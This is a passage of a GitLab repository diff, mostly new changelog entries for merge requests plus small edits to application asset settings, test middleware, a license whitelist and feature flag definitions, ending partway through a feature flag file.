diff --git a/changelogs/unreleased/refresh-service-optimisations.yml b/changelogs/unreleased/refresh-service-optimisations.yml
new file mode 100644
index 00000000000..f5b4d473453
--- /dev/null
+++ b/changelogs/unreleased/refresh-service-optimisations.yml
@@ -0,0 +1,5 @@
+---
+title: Reduce MergeRequest::RefreshService loops
+merge_request: 40135
+author:
+type: performance
diff --git a/changelogs/unreleased/remove-duplicated-cs-findings.yml b/changelogs/unreleased/remove-duplicated-cs-findings.yml
new file mode 100644
index 00000000000..ac75e248473
--- /dev/null
+++ b/changelogs/unreleased/remove-duplicated-cs-findings.yml
@@ -0,0 +1,5 @@
+---
+title: Remove duplicated container scanning findings
+merge_request: 42041
+author:
+type: other
diff --git a/changelogs/unreleased/remove-extracts-path-optimization-flag.yml b/changelogs/unreleased/remove-extracts-path-optimization-flag.yml
new file mode 100644
index 00000000000..b67b3605606
--- /dev/null
+++ b/changelogs/unreleased/remove-extracts-path-optimization-flag.yml
@@ -0,0 +1,5 @@
+---
+title: Reduce Redis usage when viewing repositories with lots of branches and tags
+merge_request: 40615
+author:
+type: performance
diff --git a/changelogs/unreleased/remove-pipeline-warnings-from-pipeline-view.yml b/changelogs/unreleased/remove-pipeline-warnings-from-pipeline-view.yml
new file mode 100644
index 00000000000..e1387518c57
--- /dev/null
+++ b/changelogs/unreleased/remove-pipeline-warnings-from-pipeline-view.yml
@@ -0,0 +1,5 @@
+---
+title: Remove pipeline warnings from pipeline view
+merge_request: 41419
+author:
+type: changed
diff --git a/changelogs/unreleased/remove-pkgr-yml.yml b/changelogs/unreleased/remove-pkgr-yml.yml
new file mode 100644
index 00000000000..90f1b98b20e
--- /dev/null
+++ b/changelogs/unreleased/remove-pkgr-yml.yml
@@ -0,0 +1,5 @@
+---
+title: Remove .pkgr.yml as not used for 4 years
+merge_request: 42156
+author: tnir
+type: other
diff --git a/changelogs/unreleased/remove_skip_hashed_storage_upgrade_feature_flag.yml b/changelogs/unreleased/remove_skip_hashed_storage_upgrade_feature_flag.yml
new file mode 100644
index 00000000000..493d0ac6f81
--- /dev/null
+++ b/changelogs/unreleased/remove_skip_hashed_storage_upgrade_feature_flag.yml
@@ -0,0 +1,5 @@
+---
+title: Remove skip_hased_storage_upgrade feature flag
+merge_request: 29364
+author: Lee Tickett
+type: other
diff --git a/changelogs/unreleased/render-attribute-definitions.yml b/changelogs/unreleased/render-attribute-definitions.yml
new file mode 100644
index 00000000000..774f1d90d0d
--- /dev/null
+++ b/changelogs/unreleased/render-attribute-definitions.yml
@@ -0,0 +1,5 @@
+---
+title: Render markdown attribute definitions as tooltips
+merge_request: 40541
+author:
+type: changed
diff --git a/changelogs/unreleased/renovate-vue-vuex-3-x.yml b/changelogs/unreleased/renovate-vue-vuex-3-x.yml
new file mode 100644
index 00000000000..69208f7b2d7
--- /dev/null
+++ b/changelogs/unreleased/renovate-vue-vuex-3-x.yml
@@ -0,0 +1,5 @@
+---
+title: Update dependency vuex to ^3.5.1
+merge_request: 39201
+author:
+type: other
diff --git a/changelogs/unreleased/rescue-alignment.yml b/changelogs/unreleased/rescue-alignment.yml
new file mode 100644
index 00000000000..5d77a147259
--- /dev/null
+++ b/changelogs/unreleased/rescue-alignment.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Layout/RescueEnsureAlignment cop
+merge_request: 41093
+author: Rajendra Kadam
+type: fixed
diff --git a/changelogs/unreleased/respect_visiblity_instrument_methods.yml b/changelogs/unreleased/respect_visiblity_instrument_methods.yml
new file mode 100644
index 00000000000..1d3be0bd0ea
--- /dev/null
+++ b/changelogs/unreleased/respect_visiblity_instrument_methods.yml
@@ -0,0 +1,5 @@
+---
+title: Respect original visibility for instrumented methods
+merge_request: 39951
+author:
+type: fixed
diff --git a/changelogs/unreleased/retention-add-forum-link-to-help-menu.yml b/changelogs/unreleased/retention-add-forum-link-to-help-menu.yml
new file mode 100644
index 00000000000..7c0c38ca857
--- /dev/null
+++ b/changelogs/unreleased/retention-add-forum-link-to-help-menu.yml
@@ -0,0 +1,5 @@
+---
+title: Add forum link to help menu
+merge_request: 41858
+author:
+type: added
diff --git a/changelogs/unreleased/rmv-mwps-feature-flag.yml b/changelogs/unreleased/rmv-mwps-feature-flag.yml
new file mode 100644
index 00000000000..35a2c95218a
--- /dev/null
+++ b/changelogs/unreleased/rmv-mwps-feature-flag.yml
@@ -0,0 +1,5 @@
+---
+title: Send notification when merge request is set to merge when pipeline succeeds
+merge_request: 39297
+author: Ravishankar Gnanaprakasam
+type: added
diff --git a/changelogs/unreleased/rp-change-instance-administrators-name.yml b/changelogs/unreleased/rp-change-instance-administrators-name.yml
new file mode 100644
index 00000000000..37cf711c3fa
--- /dev/null
+++ b/changelogs/unreleased/rp-change-instance-administrators-name.yml
@@ -0,0 +1,5 @@
+---
+title: Change name of GitLab Instance Administrators group to GitLab Instance
+merge_request: 41684
+author:
+type: changed
diff --git a/changelogs/unreleased/sast-image-variable.yml b/changelogs/unreleased/sast-image-variable.yml
new file mode 100644
index 00000000000..6aa49ce0275
--- /dev/null
+++ b/changelogs/unreleased/sast-image-variable.yml
@@ -0,0 +1,5 @@
+---
+title: Add dedicated SAST and DS CI image variables
+merge_request: 39875
+author:
+type: added
diff --git a/changelogs/unreleased/secret-detection-commits-file.yml b/changelogs/unreleased/secret-detection-commits-file.yml
new file mode 100644
index 00000000000..64387ce800b
--- /dev/null
+++ b/changelogs/unreleased/secret-detection-commits-file.yml
@@ -0,0 +1,5 @@
+---
+title: Update Secret-Detection template to use commits file
+merge_request: 41364
+author:
+type: changed
diff --git a/changelogs/unreleased/self-assign-cop.yml b/changelogs/unreleased/self-assign-cop.yml
new file mode 100644
index 00000000000..f02ebf5332b
--- /dev/null
+++ b/changelogs/unreleased/self-assign-cop.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Style/SelfAssignment cop
+merge_request: 41079
+author: Rajendra Kadam
+type: fixed
diff --git a/changelogs/unreleased/setup-policy-btn.yml b/changelogs/unreleased/setup-policy-btn.yml
new file mode 100644
index 00000000000..66d95a713ca
--- /dev/null
+++ b/changelogs/unreleased/setup-policy-btn.yml
@@ -0,0 +1,5 @@
+---
+title: Migrating setup policy button in registry settings
+merge_request: 40668
+author:
+type: changed
diff --git a/changelogs/unreleased/sh-add-if-exists-pgdump.yml b/changelogs/unreleased/sh-add-if-exists-pgdump.yml
new file mode 100644
index 00000000000..774024591c9
--- /dev/null
+++ b/changelogs/unreleased/sh-add-if-exists-pgdump.yml
@@ -0,0 +1,5 @@
+---
+title: Add --if-exists to pg_dump command-line in backup creation
+merge_request: 40792
+author:
+type: other
diff --git a/changelogs/unreleased/sh-always-retry-read-build-logs.yml b/changelogs/unreleased/sh-always-retry-read-build-logs.yml
new file mode 100644
index 00000000000..da4b185277d
--- /dev/null
+++ b/changelogs/unreleased/sh-always-retry-read-build-logs.yml
@@ -0,0 +1,5 @@
+---
+title: Always attempt retry of job trace read when file is missing
+merge_request: 40516
+author:
+type: fixed
diff --git a/changelogs/unreleased/sh-azure-custom-domains.yml b/changelogs/unreleased/sh-azure-custom-domains.yml
new file mode 100644
index 00000000000..d94fb1a700c
--- /dev/null
+++ b/changelogs/unreleased/sh-azure-custom-domains.yml
@@ -0,0 +1,5 @@
+---
+title: Support custom Azure Blob Storage domains
+merge_request: 40694
+author:
+type: added
diff --git a/changelogs/unreleased/sh-bump-gitlab-shell-13-7-0.yml b/changelogs/unreleased/sh-bump-gitlab-shell-13-7-0.yml
new file mode 100644
index 00000000000..86f38552543
--- /dev/null
+++ b/changelogs/unreleased/sh-bump-gitlab-shell-13-7-0.yml
@@ -0,0 +1,5 @@
+---
+title: Bump gitlab-shell to v13.7.0
+merge_request: 40132
+author:
+type: fixed
diff --git a/changelogs/unreleased/sh-disable-sidekiq-exporter-logs.yml b/changelogs/unreleased/sh-disable-sidekiq-exporter-logs.yml
new file mode 100644
index 00000000000..ce38665b792
--- /dev/null
+++ b/changelogs/unreleased/sh-disable-sidekiq-exporter-logs.yml
@@ -0,0 +1,5 @@
+---
+title: Disable Sidekiq Exporter logs by default
+merge_request: 42267
+author:
+type: changed
diff --git a/changelogs/unreleased/sh-document-stop-sidekiq-puma-backup-restore.yml b/changelogs/unreleased/sh-document-stop-sidekiq-puma-backup-restore.yml
new file mode 100644
index 00000000000..8a96584dece
--- /dev/null
+++ b/changelogs/unreleased/sh-document-stop-sidekiq-puma-backup-restore.yml
@@ -0,0 +1,5 @@
+---
+title: Add warning to stop Puma and Sidekiq when restoring from backup
+merge_request: 40791
+author:
+type: other
diff --git a/changelogs/unreleased/sh-fix-backup-restore-race.yml b/changelogs/unreleased/sh-fix-backup-restore-race.yml
new file mode 100644
index 00000000000..ab5d4d8fcb0
--- /dev/null
+++ b/changelogs/unreleased/sh-fix-backup-restore-race.yml
@@ -0,0 +1,5 @@
+---
+title: Fix ActiveRecord::IrreversibleOrderError during restore from backup
+merge_request: 40789
+author:
+type: fixed
diff --git a/changelogs/unreleased/sh-fix-project-deletion-warning-name.yml b/changelogs/unreleased/sh-fix-project-deletion-warning-name.yml
new file mode 100644
index 00000000000..0a28eb96718
--- /dev/null
+++ b/changelogs/unreleased/sh-fix-project-deletion-warning-name.yml
@@ -0,0 +1,5 @@
+---
+title: Fix incorrect project path warning after failed project path rename
+merge_request: 40422
+author:
+type: fixed
diff --git a/changelogs/unreleased/sh-log-psql-errors.yml b/changelogs/unreleased/sh-log-psql-errors.yml
new file mode 100644
index 00000000000..9c51f838f96
--- /dev/null
+++ b/changelogs/unreleased/sh-log-psql-errors.yml
@@ -0,0 +1,5 @@
+---
+title: Flag errors from psql when restoring from backups
+merge_request: 40911
+author:
+type: fixed
diff --git a/changelogs/unreleased/sh-pipeline-notification-fix.yml b/changelogs/unreleased/sh-pipeline-notification-fix.yml
new file mode 100644
index 00000000000..b1f782abc97
--- /dev/null
+++ b/changelogs/unreleased/sh-pipeline-notification-fix.yml
@@ -0,0 +1,5 @@
+---
+title: Fix missing pipeline e-mails when job logs moved to object storage
+merge_request: 40075
+author:
+type: fixed
diff --git a/changelogs/unreleased/sh-remove-job-logs-from-notification-emails.yml b/changelogs/unreleased/sh-remove-job-logs-from-notification-emails.yml
new file mode 100644
index 00000000000..f20a69cf741
--- /dev/null
+++ b/changelogs/unreleased/sh-remove-job-logs-from-notification-emails.yml
@@ -0,0 +1,5 @@
+---
+title: Remove job logs from notification e-mails
+merge_request: 42395
+author:
+type: changed
diff --git a/changelogs/unreleased/sh-same-site-none-fix-try2.yml b/changelogs/unreleased/sh-same-site-none-fix-try2.yml
new file mode 100644
index 00000000000..8a78da277ee
--- /dev/null
+++ b/changelogs/unreleased/sh-same-site-none-fix-try2.yml
@@ -0,0 +1,5 @@
+---
+title: Don't send SameSite=None to incompatible browsers
+merge_request: 40667
+author:
+type: fixed
diff --git a/changelogs/unreleased/sh-update-faraday-and-other-gems.yml b/changelogs/unreleased/sh-update-faraday-and-other-gems.yml
new file mode 100644
index 00000000000..732e63e3ab1
--- /dev/null
+++ b/changelogs/unreleased/sh-update-faraday-and-other-gems.yml
@@ -0,0 +1,5 @@
+---
+title: Update gems to use Faraday v1.0.1
+merge_request: 41623
+author:
+type: other
diff --git a/changelogs/unreleased/similarity-sorting-of-projects-graphql-api.yml b/changelogs/unreleased/similarity-sorting-of-projects-graphql-api.yml
new file mode 100644
index 00000000000..1c7779b4512
--- /dev/null
+++ b/changelogs/unreleased/similarity-sorting-of-projects-graphql-api.yml
@@ -0,0 +1,5 @@
+---
+title: Add similarity sorting for projects for GraphQL API
+merge_request: 38916
+author:
+type: added
diff --git a/changelogs/unreleased/single-line-cop.yml b/changelogs/unreleased/single-line-cop.yml
new file mode 100644
index 00000000000..76d5d98282a
--- /dev/null
+++ b/changelogs/unreleased/single-line-cop.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Style/SingleLineMethods cop
+merge_request: 41247
+author: Rajendra Kadam
+type: fixed
diff --git a/changelogs/unreleased/space-before-first-arg.yml b/changelogs/unreleased/space-before-first-arg.yml
new file mode 100644
index 00000000000..46b71f88e6e
--- /dev/null
+++ b/changelogs/unreleased/space-before-first-arg.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Layout/SpaceBeforeFirstArg cop
+merge_request: 41097
+author: Rajendra Kadam
+type: fixed
diff --git a/changelogs/unreleased/ss-add-update-issue.yml b/changelogs/unreleased/ss-add-update-issue.yml
new file mode 100644
index 00000000000..8fc11972ba3
--- /dev/null
+++ b/changelogs/unreleased/ss-add-update-issue.yml
@@ -0,0 +1,5 @@
+---
+title: Add update issue by id in vuex for boards
+merge_request: 41226
+author:
+type: added
diff --git a/changelogs/unreleased/ss-fix-report-abuse-button.yml b/changelogs/unreleased/ss-fix-report-abuse-button.yml
new file mode 100644
index 00000000000..c7a88dd8712
--- /dev/null
+++ b/changelogs/unreleased/ss-fix-report-abuse-button.yml
@@ -0,0 +1,5 @@
+---
+title: Fix report abuse button in issues and mrs
+merge_request: 40918
+author:
+type: fixed
diff --git a/changelogs/unreleased/store-seats_currently_in_use.yml b/changelogs/unreleased/store-seats_currently_in_use.yml
new file mode 100644
index 00000000000..b27643b130e
--- /dev/null
+++ b/changelogs/unreleased/store-seats_currently_in_use.yml
@@ -0,0 +1,5 @@
+---
+title: Add seats related columns for easier data analysis
+merge_request: 40470
+author:
+type: other
diff --git a/changelogs/unreleased/sunjungp-master-patch-22797.yml b/changelogs/unreleased/sunjungp-master-patch-22797.yml
new file mode 100644
index 00000000000..48be80a5b43
--- /dev/null
+++ b/changelogs/unreleased/sunjungp-master-patch-22797.yml
@@ -0,0 +1,5 @@
+---
+title: Update GlDeprecatedButton with GlButton in deployment_action_button
+merge_request: 39700
+author:
+type: changed
diff --git a/changelogs/unreleased/suzu-1990-gitlab-patch-112.yml b/changelogs/unreleased/suzu-1990-gitlab-patch-112.yml
new file mode 100644
index 00000000000..0383624dd77
--- /dev/null
+++ b/changelogs/unreleased/suzu-1990-gitlab-patch-112.yml
@@ -0,0 +1,5 @@
+---
+title: Internationalize Admin users new
+merge_request: 41367
+author: Takuya Noguchi
+type: other
diff --git a/changelogs/unreleased/suzu-1990-gitlab-suzu-1990-master-patch-97784.yml b/changelogs/unreleased/suzu-1990-gitlab-suzu-1990-master-patch-97784.yml
new file mode 100644
index 00000000000..3dbb054f7b1
--- /dev/null
+++ b/changelogs/unreleased/suzu-1990-gitlab-suzu-1990-master-patch-97784.yml
@@ -0,0 +1,5 @@
+---
+title: Internationalize Admin Abuse Report
+merge_request: 41355
+author: suzu-1990
+type: other
diff --git a/changelogs/unreleased/swimlane_user_setting.yml b/changelogs/unreleased/swimlane_user_setting.yml
new file mode 100644
index 00000000000..e271edcb71b
--- /dev/null
+++ b/changelogs/unreleased/swimlane_user_setting.yml
@@ -0,0 +1,5 @@
+---
+title: Add table for storing user settings for board epic swimlanes
+merge_request: 40360
+author:
+type: added
diff --git a/changelogs/unreleased/sy-adhere-issue-creation-to-setting.yml b/changelogs/unreleased/sy-adhere-issue-creation-to-setting.yml
new file mode 100644
index 00000000000..fc53e39c864
--- /dev/null
+++ b/changelogs/unreleased/sy-adhere-issue-creation-to-setting.yml
@@ -0,0 +1,5 @@
+---
+title: Only create issues if supposed to for Prometheus alerts
+merge_request: 41468
+author:
+type: fixed
diff --git a/changelogs/unreleased/sy-gfm-reference-for-alerts.yml b/changelogs/unreleased/sy-gfm-reference-for-alerts.yml
new file mode 100644
index 00000000000..621bf676e69
--- /dev/null
+++ b/changelogs/unreleased/sy-gfm-reference-for-alerts.yml
@@ -0,0 +1,5 @@
+---
+title: Add GFM reference format for alerts
+merge_request: 40922
+author:
+type: added
diff --git a/changelogs/unreleased/sy-unhide-alert-payload-attrs.yml b/changelogs/unreleased/sy-unhide-alert-payload-attrs.yml
new file mode 100644
index 00000000000..3c5ee618543
--- /dev/null
+++ b/changelogs/unreleased/sy-unhide-alert-payload-attrs.yml
@@ -0,0 +1,5 @@
+---
+title: Present complete alert payload in detail and incident views
+merge_request: 42140
+author:
+type: changed
diff --git a/changelogs/unreleased/tc-external-mr-diff-ssf.yml b/changelogs/unreleased/tc-external-mr-diff-ssf.yml
new file mode 100644
index 00000000000..bea1e3b42bf
--- /dev/null
+++ b/changelogs/unreleased/tc-external-mr-diff-ssf.yml
@@ -0,0 +1,5 @@
+---
+title: 'Geo: Add migrations for registry and details tables for external MR diff replication'
+merge_request: 34248
+author:
+type: added
diff --git a/changelogs/unreleased/tr-fix-incident-list-ce.yml b/changelogs/unreleased/tr-fix-incident-list-ce.yml
new file mode 100644
index 00000000000..ea136f1a95d
--- /dev/null
+++ b/changelogs/unreleased/tr-fix-incident-list-ce.yml
@@ -0,0 +1,5 @@
+---
+title: Fix incident list by restricting query on FOSS
+merge_request: 42301
+author:
+type: fixed
diff --git a/changelogs/unreleased/tr-incident-alert-details.yml b/changelogs/unreleased/tr-incident-alert-details.yml
new file mode 100644
index 00000000000..6bec63e0336
--- /dev/null
+++ b/changelogs/unreleased/tr-incident-alert-details.yml
@@ -0,0 +1,5 @@
+---
+title: Surface alert details in a tab on incidents
+merge_request: 41850
+author:
+type: added
diff --git a/changelogs/unreleased/tr-incident-tabs.yml b/changelogs/unreleased/tr-incident-tabs.yml
new file mode 100644
index 00000000000..7664bf0f47d
--- /dev/null
+++ b/changelogs/unreleased/tr-incident-tabs.yml
@@ -0,0 +1,5 @@
+---
+title: Add Summary tab for incident issues
+merge_request: 39822
+author:
+type: added
diff --git a/changelogs/unreleased/update-conan-installation-snippet.yml b/changelogs/unreleased/update-conan-installation-snippet.yml
new file mode 100644
index 00000000000..09c92dfa44e
--- /dev/null
+++ b/changelogs/unreleased/update-conan-installation-snippet.yml
@@ -0,0 +1,5 @@
+---
+title: Update conan remote instructions snippet to show project-level remote
+merge_request: 42526
+author:
+type: changed
diff --git a/changelogs/unreleased/update-gitlab-runner-helm-chart-to-0-20-0.yml b/changelogs/unreleased/update-gitlab-runner-helm-chart-to-0-20-0.yml
new file mode 100644
index 00000000000..0b5762fca0e
--- /dev/null
+++ b/changelogs/unreleased/update-gitlab-runner-helm-chart-to-0-20-0.yml
@@ -0,0 +1,5 @@
+---
+title: Update GitLab Runner Helm Chart to 0.20.0
+merge_request: 39933
+author:
+type: other
diff --git a/changelogs/unreleased/update-gitlab-runner-helm-chart-to-0-20-1.yml b/changelogs/unreleased/update-gitlab-runner-helm-chart-to-0-20-1.yml
new file mode 100644
index 00000000000..67cddaa4539
--- /dev/null
+++ b/changelogs/unreleased/update-gitlab-runner-helm-chart-to-0-20-1.yml
@@ -0,0 +1,5 @@
+---
+title: Update GitLab Runner Helm Chart to 0.20.1
+merge_request:
+author:
+type: security
diff --git a/changelogs/unreleased/update-index-used-in-mr-api.yml b/changelogs/unreleased/update-index-used-in-mr-api.yml
new file mode 100644
index 00000000000..d16a6b4e47a
--- /dev/null
+++ b/changelogs/unreleased/update-index-used-in-mr-api.yml
@@ -0,0 +1,5 @@
+---
+title: Update MR index to include id
+merge_request: 42222
+author:
+type: performance
diff --git a/changelogs/unreleased/update-lodash-4-17-15-to-4-17-20.yml b/changelogs/unreleased/update-lodash-4-17-15-to-4-17-20.yml
new file mode 100644
index 00000000000..886db84759d
--- /dev/null
+++ b/changelogs/unreleased/update-lodash-4-17-15-to-4-17-20.yml
@@ -0,0 +1,5 @@
+---
+title: Update lodash to 4.17.20
+merge_request: 41036
+author: Takuya Noguchi
+type: security
diff --git a/changelogs/unreleased/update-mr-badge-count-color.yml b/changelogs/unreleased/update-mr-badge-count-color.yml
new file mode 100644
index 00000000000..2a93b11f931
--- /dev/null
+++ b/changelogs/unreleased/update-mr-badge-count-color.yml
@@ -0,0 +1,5 @@
+---
+title: Lighten header counter badge colors to be more vibrant
+merge_request: 42002
+author:
+type: other
diff --git a/changelogs/unreleased/update-vendored-dockerfile-templates.yml b/changelogs/unreleased/update-vendored-dockerfile-templates.yml
new file mode 100644
index 00000000000..048689ccca2
--- /dev/null
+++ b/changelogs/unreleased/update-vendored-dockerfile-templates.yml
@@ -0,0 +1,5 @@
+---
+title: Upgrade vendored Dockerfile template to buster
+merge_request: 42169
+author: Takuya Noguchi
+type: other
diff --git a/changelogs/unreleased/upgrade-gitlab-pages-1-24-0.yml b/changelogs/unreleased/upgrade-gitlab-pages-1-24-0.yml
new file mode 100644
index 00000000000..106bda2b0ca
--- /dev/null
+++ b/changelogs/unreleased/upgrade-gitlab-pages-1-24-0.yml
@@ -0,0 +1,5 @@
+---
+title: Upgrade GitLab Pages to 1.24.0
+merge_request: 41782
+author:
+type: added
diff --git a/changelogs/unreleased/upgrade-pages-1-25-0.yml b/changelogs/unreleased/upgrade-pages-1-25-0.yml
new file mode 100644
index 00000000000..583b255dfb4
--- /dev/null
+++ b/changelogs/unreleased/upgrade-pages-1-25-0.yml
@@ -0,0 +1,5 @@
+---
+title: Upgrade GitLab Pages to 1.25.0
+merge_request: 42350
+author:
+type: added
diff --git a/changelogs/unreleased/usage_ping_agent_token.yml b/changelogs/unreleased/usage_ping_agent_token.yml
new file mode 100644
index 00000000000..604d50994d8
--- /dev/null
+++ b/changelogs/unreleased/usage_ping_agent_token.yml
@@ -0,0 +1,5 @@
+---
+title: Add usage ping for distinct count for kubernetes agents for at least one token
+merge_request: 40563
+author:
+type: other
diff --git a/changelogs/unreleased/usage_ping_kubernetes_agent.yml b/changelogs/unreleased/usage_ping_kubernetes_agent.yml
new file mode 100644
index 00000000000..5a1706f38c5
--- /dev/null
+++ b/changelogs/unreleased/usage_ping_kubernetes_agent.yml
@@ -0,0 +1,5 @@
+---
+title: Add kubernetes_agents usage metric
+merge_request: 40559
+author:
+type: other
diff --git a/changelogs/unreleased/vij-fix-project-snippet-param.yml b/changelogs/unreleased/vij-fix-project-snippet-param.yml
new file mode 100644
index 00000000000..20060a92af1
--- /dev/null
+++ b/changelogs/unreleased/vij-fix-project-snippet-param.yml
@@ -0,0 +1,5 @@
+---
+title: Fix visibility param for ProjectSnippet REST endpoint
+merge_request: 40966
+author:
+type: fixed
diff --git a/changelogs/unreleased/vij-snippet-status-codes.yml b/changelogs/unreleased/vij-snippet-status-codes.yml
new file mode 100644
index 00000000000..49ce9a00e33
--- /dev/null
+++ b/changelogs/unreleased/vij-snippet-status-codes.yml
@@ -0,0 +1,5 @@
+---
+title: Change invalid Snippet params status code from 403 to 422
+merge_request: 40619
+author:
+type: changed
diff --git a/changelogs/unreleased/vij-snippets-missing-param-requirement.yml b/changelogs/unreleased/vij-snippets-missing-param-requirement.yml
new file mode 100644
index 00000000000..85ae377b07b
--- /dev/null
+++ b/changelogs/unreleased/vij-snippets-missing-param-requirement.yml
@@ -0,0 +1,5 @@
+---
+title: Add ability to update only Snippet descriptions via REST endpoint
+merge_request: 41581
+author:
+type: changed
diff --git a/changelogs/unreleased/wc-pages-backup.yml b/changelogs/unreleased/wc-pages-backup.yml
new file mode 100644
index 00000000000..90689a30720
--- /dev/null
+++ b/changelogs/unreleased/wc-pages-backup.yml
@@ -0,0 +1,5 @@
+---
+title: Exclude tmp dirs from backups
+merge_request: 41706
+author:
+type: fixed
diff --git a/changelogs/unreleased/web-ide-preferred-ci.yml b/changelogs/unreleased/web-ide-preferred-ci.yml
new file mode 100644
index 00000000000..5e323f65f58
--- /dev/null
+++ b/changelogs/unreleased/web-ide-preferred-ci.yml
@@ -0,0 +1,5 @@
+---
+title: Add alert when editing .gitlab-ci.yml
+merge_request: 39508
+author:
+type: added
diff --git a/changelogs/unreleased/widen-issuable-on-mobile.yml b/changelogs/unreleased/widen-issuable-on-mobile.yml
new file mode 100644
index 00000000000..0724adaa2f9
--- /dev/null
+++ b/changelogs/unreleased/widen-issuable-on-mobile.yml
@@ -0,0 +1,5 @@
+---
+title: Widen issuable list only on mobile to be mobile-friendly
+merge_request: 41249
+author: Takuya Noguchi
+type: other
diff --git a/changelogs/unreleased/winniehell-openapi-mvc.yml b/changelogs/unreleased/winniehell-openapi-mvc.yml
new file mode 100644
index 00000000000..5b55ebf0284
--- /dev/null
+++ b/changelogs/unreleased/winniehell-openapi-mvc.yml
@@ -0,0 +1,5 @@
+---
+title: Add first OpenAPI specification file
+merge_request: 35868
+author: winniehell
+type: other
diff --git a/changelogs/unreleased/workhorse-8-44-0.yml b/changelogs/unreleased/workhorse-8-44-0.yml
new file mode 100644
index 00000000000..1d96fe226a6
--- /dev/null
+++ b/changelogs/unreleased/workhorse-8-44-0.yml
@@ -0,0 +1,5 @@
+---
+title: Update Workhorse to v8.44.0
+merge_request: 40970
+author:
+type: other
diff --git a/changelogs/unreleased/xanf-add-infinite-scroll-to-importers.yml b/changelogs/unreleased/xanf-add-infinite-scroll-to-importers.yml
new file mode 100644
index 00000000000..42a8130f8c6
--- /dev/null
+++ b/changelogs/unreleased/xanf-add-infinite-scroll-to-importers.yml
@@ -0,0 +1,5 @@
+---
+title: Introduce infinite scrolling to importers
+merge_request: 41789
+author:
+type: changed
diff --git a/changelogs/unreleased/xanf-import-projects-count.yml b/changelogs/unreleased/xanf-import-projects-count.yml
new file mode 100644
index 00000000000..8e506a859b5
--- /dev/null
+++ b/changelogs/unreleased/xanf-import-projects-count.yml
@@ -0,0 +1,5 @@
+---
+title: Add confirmation dialog when importing multiple projects
+merge_request: 41306
+author:
+type: changed
diff --git a/config/application.rb b/config/application.rb
index 3fd9ce39bb9..4d2f3745b52 100644
--- a/config/application.rb
+++ b/config/application.rb
@@ -49,7 +49,8 @@ module Gitlab
#{config.root}/app/models/members
#{config.root}/app/models/project_services
#{config.root}/app/graphql/resolvers/concerns
- #{config.root}/app/graphql/mutations/concerns])
+ #{config.root}/app/graphql/mutations/concerns
+ #{config.root}/app/graphql/types/concerns])
config.generators.templates.push("#{config.root}/generator_templates")
@@ -176,7 +177,10 @@ module Gitlab
config.assets.precompile << "mailer_client_specific.css"
config.assets.precompile << "notify.css"
config.assets.precompile << "mailers/*.css"
+ config.assets.precompile << "page_bundles/_mixins_and_variables_and_functions.css"
config.assets.precompile << "page_bundles/ide.css"
+ config.assets.precompile << "page_bundles/jira_connect.css"
+ config.assets.precompile << "page_bundles/todos.css"
config.assets.precompile << "page_bundles/xterm.css"
config.assets.precompile << "performance_bar.css"
config.assets.precompile << "lib/ace.js"
@@ -185,6 +189,9 @@ module Gitlab
config.assets.precompile << "locale/**/app.js"
config.assets.precompile << "emoji_sprites.css"
config.assets.precompile << "errors.css"
+ config.assets.precompile << "jira_connect.js"
+
+ config.assets.precompile << "themes/*.css"
config.assets.precompile << "highlight/themes/*.css"
@@ -203,11 +210,10 @@ module Gitlab
config.assets.paths << "#{config.root}/node_modules/xterm/src/"
config.assets.precompile << "xterm.css"
+ # Add EE assets
if Gitlab.ee?
%w[images javascripts stylesheets].each do |path|
config.assets.paths << "#{config.root}/ee/app/assets/#{path}"
- config.assets.precompile << "jira_connect.js"
- config.assets.precompile << "pages/jira_connect.css"
end
end
diff --git a/config/dependency_decisions.yml b/config/dependency_decisions.yml
index 9256b902634..2f0d9066a7a 100644
--- a/config/dependency_decisions.yml
+++ b/config/dependency_decisions.yml
@@ -313,3 +313,9 @@
:why: "https://github.com/cure53/DOMPurify/blob/main/LICENSE and https://gitlab.com/gitlab-org/gitlab/-/merge_requests/31928#note_346604841"
:versions: []
:when: 2020-08-13 13:42:46.508082000 Z
+- - :whitelist
+ - Apache-2.0 WITH LLVM-exception
+ - :who: Nathan Friend
+ :why: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40670#note_403946372
+ :versions: []
+ :when: 2020-08-28 15:01:59.329048917 Z
diff --git a/config/environments/test.rb b/config/environments/test.rb
index e08e2a34ff4..f3a7f894b73 100644
--- a/config/environments/test.rb
+++ b/config/environments/test.rb
@@ -1,4 +1,5 @@
require 'gitlab/testing/request_blocker_middleware'
+require 'gitlab/testing/robots_blocker_middleware'
require 'gitlab/testing/request_inspector_middleware'
require 'gitlab/testing/clear_process_memory_cache_middleware'
require 'gitlab/utils'
@@ -6,6 +7,7 @@ require 'gitlab/utils'
Rails.application.configure do
# Make sure the middleware is inserted first in middleware chain
config.middleware.insert_before(ActionDispatch::Static, Gitlab::Testing::RequestBlockerMiddleware)
+ config.middleware.insert_before(ActionDispatch::Static, Gitlab::Testing::RobotsBlockerMiddleware)
config.middleware.insert_before(ActionDispatch::Static, Gitlab::Testing::RequestInspectorMiddleware)
config.middleware.insert_before(ActionDispatch::Static, Gitlab::Testing::ClearProcessMemoryCacheMiddleware)
diff --git a/config/feature_categories.yml b/config/feature_categories.yml
index e41d6d86e46..7b85f910d85 100644
--- a/config/feature_categories.yml
+++ b/config/feature_categories.yml
@@ -65,6 +65,7 @@
- integrations
- interactive_application_security_testing
- internationalization
+- instance_statistics
- issue_tracking
- jenkins_importer
- jira_importer
diff --git a/config/feature_flags/development/additional_snowplow_tracking.yml b/config/feature_flags/development/additional_snowplow_tracking.yml
new file mode 100644
index 00000000000..f4f73a0bbd0
--- /dev/null
+++ b/config/feature_flags/development/additional_snowplow_tracking.yml
@@ -0,0 +1,7 @@
+---
+name: additional_snowplow_tracking
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/ajax_new_deploy_token.yml b/config/feature_flags/development/ajax_new_deploy_token.yml
new file mode 100644
index 00000000000..cffd589b32b
--- /dev/null
+++ b/config/feature_flags/development/ajax_new_deploy_token.yml
@@ -0,0 +1,7 @@
+---
+name: ajax_new_deploy_token
+introduced_by_url:
+rollout_issue_url:
+group:
+type: development
+default_enabled: false
diff --git a/config/feature_flags/development/allow_group_deploy_token.yml b/config/feature_flags/development/allow_group_deploy_token.yml
new file mode 100644
index 00000000000..f08614b45e9
--- /dev/null
+++ b/config/feature_flags/development/allow_group_deploy_token.yml
